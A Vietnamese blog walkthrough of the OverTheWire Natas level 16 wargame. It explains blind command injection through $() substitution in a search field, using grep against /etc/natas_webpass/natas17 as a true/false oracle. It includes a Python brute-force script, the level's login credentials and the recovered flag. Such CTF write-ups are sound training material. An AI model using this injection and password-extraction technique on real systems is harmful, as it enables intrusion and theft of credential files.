[OverTheWire] Natas – Level 16

http://natas16.natas.labs.overthewire.org/

For security reasons, we now filter even more on certain characters
Find words containing…

Nhấn View sourcecode:

[php][/php]

Thấy quen quen emo_popo_shame

Vì rằng input đã bị escape một số ký tự chủ chốt, ta buộc phải nghĩ cách khác. Cách hay nhất chính là dùng… Google emo_popo_haha

Có những thứ trong cuộc sống mà chúng ta buộc phải chấp nhận một điều, rằng chúng ta chưa có đủ kiến thức để có thể đạt được nó. Chưa đi học, chúng ta không thể hiểu làm sao để giải cái phương trình bậc 2, và thậm chí cũng không biết rằng nó được gọi là phương trình bậc 2, nên không thể tự tìm cách giải quyết. Các bạn hiểu mình đang nói gì không? emo_popo_angry

Sau khi Google, mình biết được một điều rằng ta có thể lồng các câu lệnh con vào làm tham số của một câu lệnh khác, bằng cách sử dụng $(). Ví dụ:
[sh]echo $(echo :sure:)[/sh]
output:

:sure:

Trở lại chức năng tìm kiếm của task này, dễ thấy ta có thể inject các câu lệnh theo ý muốn và dựa vào kết quả trả về để xác định password cho task 17. Nó kiểu như:

  • Nếu ký tự đầu tiên của task17.pw là ‘a’: Tìm kiếm với keyword = ‘a’.
  • Ngược lại: Tìm kiếm với keyword ‘xxx’ (hoặc 1 từ bất kỳ không xuất hiện trong dictionary.txt).

Như thế, nếu có dữ liệu trả về, thì phép thử của chúng ta là đúng, còn ngược lại, phép thử là sai. Tương tự như vậy đối với các ký tự khác.

Tuy nhiên không hiểu sao mình chật vật mãi với đám ifthenfi mà vẫn không xong, nên mình đã Google tiếp và ra một câu lệnh khác, xì tin hơn nhiều:

Xét 2 câu lệnh sau và output của nó:
[sh]echo abcdef | grep -E ^a.*[/sh]

abcdef


[sh]echo abcdef | grep -E ^c.*[/sh]

(không trả về gì cả)

Tức là, nếu ta nhập input sau vào box search:
[sh]$(grep -E ^a.* /etc/natas_webpass/natas17)Americanism[/sh]
thì sẽ có 2 trường hợp xảy ra:

  1. Có dữ liệu liên quan đến từ Americanism trả về: Như vậy $(grep…) trả về <rỗng>, tức là phép thử của chúng ta (task17.pw bắt đầu bằng a) là sai.
  2. Không có dữ liệu trả về: Như vậy $(grep…) trả về khác <rỗng>, tức là phép thử của chúng ta là đúng, ta tìm được 1 ký tự của pw.

Lặp lại các phép thử như vậy, ta sẽ có đủ 32 ký tự cần tìm.

Code minh họa (không khuyến cáo dùng vì rất chậm):

[python]import urllib, urllib2

passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, “http://natas16.natas.labs.overthewire.org”, ‘natas16’, ‘WaIHEacj63wnNIBROHeqi3p9t0m5nhmh’)
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPBasicAuthHandler(passman)))

def get_url_content(url, cookie, post_data):
if (post_data != None):
req = urllib2.Request(url, urllib.urlencode(post_data))
else:
req = urllib2.Request(url)

req.add_header(‘User-Agent’, ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20130606 Firefox/24.0’)

if (cookie != None):
req.add_header(‘Cookie’, cookie)
if (post_data != None):
req.add_header(‘Content-type’, ‘application/x-www-form-urlencoded’)

source = urllib2.urlopen(req).read()
return source

flag = ”
chars = ‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’
for i in range(0, 32):
for c in chars:
print c
query = (‘$(grep -E ^{0}{1}.* /etc/natas_webpass/natas17)Americanism’).format(flag, c)
data = [(‘needle’, query),
(‘submit’, ‘Search’)]

source = get_url_content(‘http://natas16.natas.labs.overthewire.org/?%s’ % urllib.urlencode(data), None, None)
if ‘Americanism’ not in source:
flag += c
print ‘Current flag:’, flag
break[/python]

Kết quả:

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

→ flag = 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw.

You may also like...

Leave a Reply

Your email address will not be published. Required fields are marked *